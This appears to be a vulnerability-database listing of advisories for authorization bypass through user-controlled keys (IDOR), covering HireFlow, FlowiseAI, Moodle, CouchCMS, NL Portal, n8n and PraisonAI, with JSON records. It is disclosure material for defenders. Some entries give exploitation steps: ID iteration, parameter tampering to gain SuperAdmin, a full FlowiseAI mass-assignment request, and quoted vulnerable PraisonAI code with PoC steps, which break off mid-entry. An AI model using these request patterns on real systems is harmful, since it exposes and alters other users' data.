Common Weakness Enumeration

CWE-639

Allowed

Authorization Bypass Through User-Controlled Key

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

3230 vulnerabilities reference this CWE, most recent first.

GHSA-6FPQ-HHV8-HC9F

Vulnerability from github – Published: 2026-05-11 18:31 – Updated: 2026-05-11 21:31
VLAI
Details

HireFlow v1.2 is vulnerable to Incorrect Access Control. The application does not enforce object-level authorization on the /candidate/ and /interview/ endpoints. The route handlers retrieve records by the user-supplied ID without verifying that the requesting user is the owner or has an authorized role. Any authenticated user can access any other user's candidate profiles and interview notes by iterating the integer ID in the URL path, constituting a horizontal privilege escalation and full data breach of all records in the system.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-38568"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-11T18:16:32Z",
    "severity": "HIGH"
  },
  "details": "HireFlow v1.2 is vulnerable to Incorrect Access Control. The application does not enforce object-level authorization on the /candidate/\u003cid\u003e and /interview/\u003cid\u003e endpoints. The route handlers retrieve records by the user-supplied ID without verifying that the requesting user is the owner or has an authorized role. Any authenticated user can access any other user\u0027s candidate profiles and interview notes by iterating the integer ID in the URL path, constituting a horizontal privilege escalation and full data breach of all records in the system.",
  "id": "GHSA-6fpq-hhv8-hc9f",
  "modified": "2026-05-11T21:31:32Z",
  "published": "2026-05-11T18:31:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-38568"
    },
    {
      "type": "WEB",
      "url": "https://github.com/StratonWebDesigners/HireFlow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hijackedamygdala/CVE-Disclosures/tree/main/HireFlow/CVE-2026-38568"
    },
    {
      "type": "WEB",
      "url": "https://www.sourcecodester.com/python/18688/hireflow-%E2%80%93-complete-interview-management-system.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6FW7-3Q8R-M5VJ

Vulnerability from github – Published: 2026-05-14 14:52 – Updated: 2026-06-09 13:09
VLAI
Summary
FlowiseAI has Mass Assignment in Variable Update Endpoint that Allows Cross-Workspace Resource Reassignment
Details

Summary

A Mass Assignment vulnerability exists in the variable update endpoint of FlowiseAI.

The endpoint allows authenticated users to modify server-controlled properties such as workspaceId, createdDate, and updatedDate when updating a variable resource.

Due to missing server-side validation and authorization checks, an attacker can manipulate the workspaceId field and reassign variables to arbitrary workspaces.

This behavior may break tenant isolation in multi-workspace environments.

Details

The endpoint responsible for updating variables:

PUT /api/v1/variables/{variableId}

accepts a JSON request body containing the variable definition.

However, the backend does not restrict which attributes can be modified by the client. As a result, user-controlled request bodies can include internal properties that should normally be controlled exclusively by the server.

Server-controlled fields that can be manipulated include:

  • workspaceId
  • createdDate
  • updatedDate

These fields appear to be directly mapped to the database entity without strict input validation or authorization checks.

For example, the following request body was accepted by the server:

{
  "name": "aaa",
  "value": "bbbe",
  "type": "static",
  "createdDate": "2016-03-06T17:59:30.000Z",
  "updatedDate": "2016-03-06T18:00:17.000Z",
  "workspaceId": "11111111-2222-3333-4444-555555555555"
}

The server accepted the attacker-controlled workspaceId and metadata fields and persisted them.

PoC

Request

PUT /api/v1/variables/<VARIABLE_ID>
Content-Type: application/json

{
  "name": "aaa",
  "value": "bbbe",
  "type": "static",
  "createdDate": "2016-03-06T17:59:30.000Z",
  "updatedDate": "2016-03-06T18:00:17.000Z",
  "workspaceId": "11111111-2222-3333-4444-555555555555"
}

Response

{
  "id": "0a2b9f61-4a97-4ff8-b80d-00275ed18674",
  "name": "aaa",
  "value": "bbbe",
  "type": "static",
  "createdDate": "2016-03-06T17:59:30.000Z",
  "updatedDate": "2026-03-06T18:05:17.000Z",
  "workspaceId": "11111111-2222-3333-4444-555555555555"
}

This confirms that the backend accepts and persists attacker-controlled internal properties.

Impact

This vulnerability allows authenticated users to manipulate internal attributes of variable resources.

Possible impacts include:

  1. Cross-workspace reassignment of variables (workspaceId)
  2. Unauthorized modification of metadata (createdDate, updatedDate)
  3. Potential tenant isolation bypass in multi-workspace deployments

In multi-tenant environments, this may allow an attacker to move variables between workspaces without authorization.

Severity
7.6 (High)
CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42861"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-639",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T14:52:24Z",
    "nvd_published_at": "2026-06-08T16:16:39Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA Mass Assignment vulnerability exists in the variable update endpoint of FlowiseAI.\n\nThe endpoint allows authenticated users to modify server-controlled properties such as workspaceId, createdDate, and updatedDate when updating a variable resource.\n\nDue to missing server-side validation and authorization checks, an attacker can manipulate the workspaceId field and reassign variables to arbitrary workspaces.\n\nThis behavior may break tenant isolation in multi-workspace environments.\n\n### Details\nThe endpoint responsible for updating variables:\n\n**PUT /api/v1/variables/{variableId}**\n\naccepts a JSON request body containing the variable definition.\n\nHowever, the backend does not restrict which attributes can be modified by the client. As a result, user-controlled request bodies can include internal properties that should normally be controlled exclusively by the server.\n\nServer-controlled fields that can be manipulated include:\n\n- workspaceId\n- createdDate\n- updatedDate\n\nThese fields appear to be directly mapped to the database entity without strict input validation or authorization checks.\n\nFor example, the following request body was accepted by the server:\n\n```json\n{\n  \"name\": \"aaa\",\n  \"value\": \"bbbe\",\n  \"type\": \"static\",\n  \"createdDate\": \"2016-03-06T17:59:30.000Z\",\n  \"updatedDate\": \"2016-03-06T18:00:17.000Z\",\n  \"workspaceId\": \"11111111-2222-3333-4444-555555555555\"\n}\n```\n\nThe server accepted the attacker-controlled workspaceId and metadata fields and persisted them.\n\n### PoC\n**Request**\n\n```http\nPUT /api/v1/variables/\u003cVARIABLE_ID\u003e\nContent-Type: application/json\n\n{\n  \"name\": \"aaa\",\n  \"value\": \"bbbe\",\n  \"type\": \"static\",\n  \"createdDate\": \"2016-03-06T17:59:30.000Z\",\n  \"updatedDate\": \"2016-03-06T18:00:17.000Z\",\n  \"workspaceId\": \"11111111-2222-3333-4444-555555555555\"\n}\n```\n\n**Response**\n\n```json\n{\n  \"id\": \"0a2b9f61-4a97-4ff8-b80d-00275ed18674\",\n  \"name\": \"aaa\",\n  \"value\": \"bbbe\",\n  \"type\": \"static\",\n  \"createdDate\": \"2016-03-06T17:59:30.000Z\",\n  \"updatedDate\": \"2026-03-06T18:05:17.000Z\",\n  \"workspaceId\": \"11111111-2222-3333-4444-555555555555\"\n}\n```\n\nThis confirms that the backend accepts and persists attacker-controlled internal properties.\n\n### Impact\nThis vulnerability allows authenticated users to manipulate internal attributes of variable resources.\n\nPossible impacts include:\n\n1. Cross-workspace reassignment of variables (workspaceId)\n2. Unauthorized modification of metadata (createdDate, updatedDate)\n3. Potential tenant isolation bypass in multi-workspace deployments\n\nIn multi-tenant environments, this may allow an attacker to move variables between workspaces without authorization.",
  "id": "GHSA-6fw7-3q8r-m5vj",
  "modified": "2026-06-09T13:09:53Z",
  "published": "2026-05-14T14:52:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-6fw7-3q8r-m5vj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42861"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "FlowiseAI has Mass Assignment in Variable Update Endpoint that Allows Cross-Workspace Resource Reassignment"
}

GHSA-6G5V-XG2C-JWMQ

Vulnerability from github – Published: 2026-01-22 12:31 – Updated: 2026-06-05 12:31
VLAI
Details

Authorization Bypass Through User-Controlled Key vulnerability in EXERT Computer Technologies Software Ltd. Co. Education Management System allows Parameter Injection.This issue affects Education Management System: through 23.09.2025.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-10024"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-22T12:15:53Z",
    "severity": "HIGH"
  },
  "details": "Authorization Bypass Through User-Controlled Key vulnerability in EXERT Computer Technologies Software Ltd. Co. Education Management System allows Parameter Injection.This issue affects Education Management System: through 23.09.2025.",
  "id": "GHSA-6g5v-xg2c-jwmq",
  "modified": "2026-06-05T12:31:43Z",
  "published": "2026-01-22T12:31:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10024"
    },
    {
      "type": "WEB",
      "url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0002"
    },
    {
      "type": "WEB",
      "url": "https://www.usom.gov.tr/bildirim/tr-26-0002"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6G5X-H5X7-Q4MQ

Vulnerability from github – Published: 2025-04-25 15:31 – Updated: 2025-04-25 17:27
VLAI
Summary
Moodle has an IDOR in web service which allows users enrolled in a course to access some details of other users
Details

A flaw was found in Moodle. Insufficient capability checks made it possible for a user enrolled in a course to access some details, such as the full name and profile image URL, of other users they did not have permission to access.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "moodle/moodle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "moodle/moodle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.3.0-beta"
            },
            {
              "fixed": "4.3.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "moodle/moodle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.4.0-beta"
            },
            {
              "fixed": "4.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "moodle/moodle"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.5.0-beta"
            },
            {
              "fixed": "4.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-3640"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-25T17:27:17Z",
    "nvd_published_at": "2025-04-25T15:15:37Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in Moodle. Insufficient capability checks made it possible for a user enrolled in a course to access some details, such as the full name and profile image URL, of other users they did not have permission to access.",
  "id": "GHSA-6g5x-h5x7-q4mq",
  "modified": "2025-04-25T17:27:17Z",
  "published": "2025-04-25T15:31:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3640"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moodle/moodle/commit/64a4311266cbe9a9a942c836931bef224018b77d"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-3640"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2359734"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/moodle/moodle"
    },
    {
      "type": "WEB",
      "url": "https://moodle.org/mod/forum/discuss.php?d=467601"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Moodle has an IDOR in web service which allows users enrolled in a course to access some details of other users"
}

GHSA-6G6Q-GCM9-395J

Vulnerability from github – Published: 2026-04-10 18:31 – Updated: 2026-04-10 18:31
VLAI
Details

CouchCMS contains a privilege escalation vulnerability that allows authenticated Admin-level users to create SuperAdmin accounts by tampering with the f_k_levels_list parameter in user creation requests. Attackers can modify the parameter value from 4 to 10 in the HTTP request body to bypass authorization validation and gain full application control, circumventing restrictions on SuperAdmin account creation and privilege assignment.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-29002"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-10T16:16:30Z",
    "severity": "HIGH"
  },
  "details": "CouchCMS contains a privilege escalation vulnerability that allows authenticated Admin-level users to create SuperAdmin accounts by tampering with the f_k_levels_list parameter in user creation requests. Attackers can modify the parameter value from 4 to 10 in the HTTP request body to bypass authorization validation and gain full application control, circumventing restrictions on SuperAdmin account creation and privilege assignment.",
  "id": "GHSA-6g6q-gcm9-395j",
  "modified": "2026-04-10T18:31:17Z",
  "published": "2026-04-10T18:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29002"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/thepiyushkumarshukla/477e2d2bbbe8cc3ec0d640c50f0cf9e1"
    },
    {
      "type": "WEB",
      "url": "https://www.couchcms.com"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/couchcms-privilege-escalation-via-f-k-levels-list-parameter"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-6H2X-QQXV-62VV

Vulnerability from github – Published: 2026-01-22 18:30 – Updated: 2026-01-27 00:31
VLAI
Details

Authorization Bypass Through User-Controlled Key vulnerability in Mikado-Themes Holmes holmes allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Holmes: from n/a through <= 1.7.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-22400"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-22T17:16:33Z",
    "severity": "MODERATE"
  },
  "details": "Authorization Bypass Through User-Controlled Key vulnerability in Mikado-Themes Holmes holmes allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Holmes: from n/a through \u003c= 1.7.",
  "id": "GHSA-6h2x-qqxv-62vv",
  "modified": "2026-01-27T00:31:12Z",
  "published": "2026-01-22T18:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22400"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Theme/holmes/vulnerability/wordpress-holmes-theme-1-7-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6H3C-R723-7FX3

Vulnerability from github – Published: 2026-07-08 21:12 – Updated: 2026-07-08 21:12
VLAI
Summary
NL Portal: IDOR allows any authenticated user to complete and tamper with another user's taak
Details

Impact

In versions from 1.5.0 up to and including 3.0.0, any authenticated portal user could complete and tamper with another user's open task by submitting it on their behalf. The task submission endpoint accepted a task ID and a payload, but it never checked whether the task actually belonged to the user making the call.

An attacker who held a valid login (a normal burger OAuth token) and who knew or guessed another user's task ID could:

  • Mark someone else's task as completed.
  • Overwrite the data submitted with that task — the verzonden_data — with arbitrary input of their choosing.
  • Receive the full task back in the GraphQL response, including the form data that the legitimate owner had already entered. This leaks personal data belonging to the original user.

Functionally this means a malicious authenticated user could submit and alter forms in any other user's name, while at the same time reading what that user had previously filled in. Both the integrity of submitted data and the confidentiality of form contents are affected.

The vulnerable code was introduced together with the Taak V2 implementation (commit bb1c1ecf, 2024-06-04) and first shipped in the 1.5.x release line. Earlier 1.x releases did not contain this resolver.

Patches

Upgrade to 3.0.1 or later.

Fix commit: 8e699add — "Add auth check for task submission".

Workarounds

Until the upgrade is applied, block the submitTaakV2 GraphQL mutation at the API gateway, or restrict the /graphql endpoint to trusted networks.

Technical details

The resolver nl.nlportal.zgw.taak.service.TaakService.submitTaakV2(id, submission, authentication) fetched the task object by UUID and immediately transitioned it to the AFGEROND state, writing record.data.portaalformulier.verzondenData from caller-supplied input. No check verified that the task's identificatie matched the authenticated burger.

The fix adds a call to a new isAuthorizedForTaak(authentication, objectsApiTask) before the status change. The check compares identificatie.type and identificatie.value against the authenticated principal and validates the task's eigenaar for bedrijf machtigingen.

Credits

Discovered during the nl-portal-backend-libraries penetration testing engagement (phase 1, May 2026). Vendor attribution to be added before publication.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.0.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "nl.nl-portal:taak"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.0"
            },
            {
              "fixed": "3.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49464"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-08T21:12:00Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Impact\n\nIn versions from 1.5.0 up to and including 3.0.0, any authenticated portal user could complete and tamper with another user\u0027s open task by submitting it on their behalf. The task submission endpoint accepted a task ID and a payload, but it never checked whether the task actually belonged to the user making the call.\n\nAn attacker who held a valid login (a normal `burger` OAuth token) and who knew or guessed another user\u0027s task ID could:\n\n- Mark someone else\u0027s task as completed.\n- Overwrite the data submitted with that task \u2014 the `verzonden_data` \u2014 with arbitrary input of their choosing.\n- Receive the full task back in the GraphQL response, including the form data that the legitimate owner had already entered. This leaks personal data belonging to the original user.\n\nFunctionally this means a malicious authenticated user could submit and alter forms in any other user\u0027s name, while at the same time reading what that user had previously filled in. Both the integrity of submitted data and the confidentiality of form contents are affected.\n\nThe vulnerable code was introduced together with the Taak V2 implementation (commit `bb1c1ecf`, 2024-06-04) and first shipped in the `1.5.x` release line. Earlier 1.x releases did not contain this resolver.\n\n## Patches\n\nUpgrade to **3.0.1** or later.\n\nFix commit: `8e699add` \u2014 \"Add auth check for task submission\".\n\n## Workarounds\n\nUntil the upgrade is applied, block the `submitTaakV2` GraphQL mutation at the API gateway, or restrict the `/graphql` endpoint to trusted networks.\n\n## Technical details\n\nThe resolver `nl.nlportal.zgw.taak.service.TaakService.submitTaakV2(id, submission, authentication)` fetched the task object by UUID and immediately transitioned it to the `AFGEROND` state, writing `record.data.portaalformulier.verzondenData` from caller-supplied input. No check verified that the task\u0027s `identificatie` matched the authenticated burger.\n\nThe fix adds a call to a new `isAuthorizedForTaak(authentication, objectsApiTask)` before the status change. The check compares `identificatie.type` and `identificatie.value` against the authenticated principal and validates the task\u0027s `eigenaar` for `bedrijf` `machtigingen`.\n\n## Credits\n\nDiscovered during the nl-portal-backend-libraries penetration testing engagement (phase 1, May 2026). Vendor attribution to be added before publication.",
  "id": "GHSA-6h3c-r723-7fx3",
  "modified": "2026-07-08T21:12:00Z",
  "published": "2026-07-08T21:12:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nl-portal/nl-portal-backend-libraries/security/advisories/GHSA-6h3c-r723-7fx3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nl-portal/nl-portal-backend-libraries"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NL Portal: IDOR allows any authenticated user to complete and tamper with another user\u0027s taak"
}

GHSA-6H4J-WCR9-2VG7

Vulnerability from github – Published: 2026-05-14 16:18 – Updated: 2026-05-14 16:18
VLAI
Summary
n8n Has a Cross-user Authorization Bypass in Dynamic Credential OAuth Endpoints
Details

Impact

The OAuth1 and OAuth2 credential reconnect endpoints authorized access using credential:read rather than credential:update. An authenticated user with read-only access to a shared credential could initiate an OAuth reconnect flow and overwrite the stored token material for that credential with tokens bound to an external account they control. Workflows relying on the affected credential would subsequently execute under the attacker's OAuth identity, enabling data exfiltration to attacker-controlled external services and persistent takeover of shared integrations.

This issue affects instances where credentials are shared with other users or across projects.

Patches

The issue has been fixed in n8n versions 1.123.43, 2.20.7, and 2.21.1. Users should upgrade to one of these versions or later to remediate the vulnerability.

Workarounds

If upgrading is not immediately possible, administrators should consider the following temporary mitigations: - Restrict credential sharing to fully trusted users only. - Audit shared credentials for unexpected OAuth token changes and revoke any tokens that may have been replaced.

These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.

n8n has adopted CVSS 4.0 as primary score for all security advisories. CVSS 3.1 vector strings are provided for backwards compatibility.

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N

Severity
8.3 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.123.43"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.21.0"
            },
            {
              "fixed": "2.21.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0-rc.0"
            },
            {
              "fixed": "2.20.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45732"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T16:18:14Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Impact\nThe OAuth1 and OAuth2 credential reconnect endpoints authorized access using `credential:read` rather than `credential:update`. An authenticated user with read-only access to a shared credential could initiate an OAuth reconnect flow and overwrite the stored token material for that credential with tokens bound to an external account they control. Workflows relying on the affected credential would subsequently execute under the attacker\u0027s OAuth identity, enabling data exfiltration to attacker-controlled external services and persistent takeover of shared integrations.\n\nThis issue affects instances where credentials are shared with other users or across projects.\n\n## Patches\nThe issue has been fixed in n8n versions 1.123.43, 2.20.7, and 2.21.1. Users should upgrade to one of these versions or later to remediate the vulnerability.\n\n## Workarounds\nIf upgrading is not immediately possible, administrators should consider the following temporary mitigations:\n- Restrict credential sharing to fully trusted users only.\n- Audit shared credentials for unexpected OAuth token changes and revoke any tokens that may have been replaced.\n\nThese workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.\n\n---\nn8n has adopted CVSS 4.0 as primary score for all security advisories. CVSS 3.1 vector strings are provided for backwards compatibility.\n\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N",
  "id": "GHSA-6h4j-wcr9-2vg7",
  "modified": "2026-05-14T16:18:15Z",
  "published": "2026-05-14T16:18:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-6h4j-wcr9-2vg7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/n8n-io/n8n"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "n8n Has a Cross-user Authorization Bypass in Dynamic Credential OAuth Endpoints"
}

GHSA-6H6V-6M7W-7VXX

Vulnerability from github – Published: 2026-05-29 22:35 – Updated: 2026-05-29 22:35
VLAI
Summary
PraisonAI Platform workspace-scoped routes allow cross-workspace object access by global object ID
Details

Summary

PraisonAI Platform's workspace-scoped REST routes contain a systemic object-level authorization flaw that allows an authenticated user from one workspace to access, modify, and delete objects belonging to another workspace by supplying the victim object's global UUID.

The affected pattern appears in workspace-scoped routes such as agents, projects, issues, and comments. The route layer verifies that the caller is a member of the workspace_id provided in the URL, but the service layer later resolves the target object by global object ID only. It does not verify that the resolved object actually belongs to the workspace in the URL.

As a result, a valid member of workspace_attacker can call a route under:

/api/v1/workspaces/{workspace_attacker}/...

while supplying an object UUID from workspace_victim. The server authorizes the request based on membership in workspace_attacker, then fetches or mutates the victim object by global UUID.

This breaks the platform's workspace isolation boundary.

Details

The root cause is that workspace membership authorization and object ownership validation are not bound together.

The workspace dependency validates only that the caller is a member of the workspace named in the URL:

# praisonai_platform/api/deps.py
async def require_workspace_member(
    workspace_id: str,
    user: AuthIdentity = Depends(get_current_user),
    session: AsyncSession = Depends(get_db),
    min_role: str = "member",
) -> AuthIdentity:
    member_svc = MemberService(session)
    has = await member_svc.has_role(workspace_id, user.id, min_role)

This confirms that the caller has access to the URL workspace. However, it does not prove that the target object belongs to that workspace.

For example, the agent routes are scoped under a workspace path, but object access is performed using only the raw agent_id:

# praisonai_platform/api/routes/agents.py
@router.get("/{agent_id}", response_model=AgentResponse)
async def get_agent(workspace_id: str, agent_id: str, ...):
    agent = await svc.get(agent_id)
    return AgentResponse.model_validate(agent)

The service method resolves the agent by global UUID only:

# praisonai_platform/services/agent_service.py
async def get(self, agent_id: str) -> Optional[Agent]:
    return await self._session.get(Agent, agent_id)

The same pattern is used for update and delete operations:

# praisonai_platform/api/routes/agents.py
agent = await svc.update(agent_id, ...)

deleted = await svc.delete(agent_id)

# praisonai_platform/services/agent_service.py
agent = await self.get(agent_id)
...
await self._session.delete(agent)

There is no check equivalent to:

agent.workspace_id == workspace_id

Therefore, if an attacker is a valid member of any workspace, they can pass their own workspace ID in the URL while supplying an object ID from another workspace.

The same architectural pattern appears in other workspace-scoped object routes, including projects, issues, and comments:

# praisonai_platform/api/routes/projects.py
project = await svc.get(project_id)
project = await svc.update(project_id, ...)
deleted = await svc.delete(project_id)

# praisonai_platform/services/project_service.py
return await self._session.get(Project, project_id)

# praisonai_platform/api/routes/issues.py
issue = await svc.get(issue_id)
issue = await svc.update(issue_id, ...)
deleted = await svc.delete(issue_id)
comments = await svc.list_for_issue(issue_id)

# praisonai_platform/services/issue_service.py
return await self._session.get(Issue, issue_id)

# praisonai_platform/services/comment_service.py
select(Comment).where(Comment.issue_id == issue_id)

This indicates a systemic object-level access control issue: routes are workspace-scoped, but service-layer object lookups are not workspace-bound.

PoC

The following local PoC creates a real PraisonAI Platform FastAPI app backed by an in-memory SQLite database, then uses only HTTP requests against the real API routes.

The PoC demonstrates the following chain:

  1. An attacker account creates workspace_attacker.
  2. A victim account creates workspace_victim.
  3. The victim creates an agent in workspace_victim.
  4. The attacker sends:
GET /api/v1/workspaces/{workspace_attacker}/agents/{victim_agent_id}
  1. The server returns the victim agent from workspace_victim.
  2. The attacker updates the victim agent through the attacker workspace path.
  3. The victim observes the attacker-controlled modification.
  4. The attacker deletes the victim agent through the attacker workspace path.

Run with:

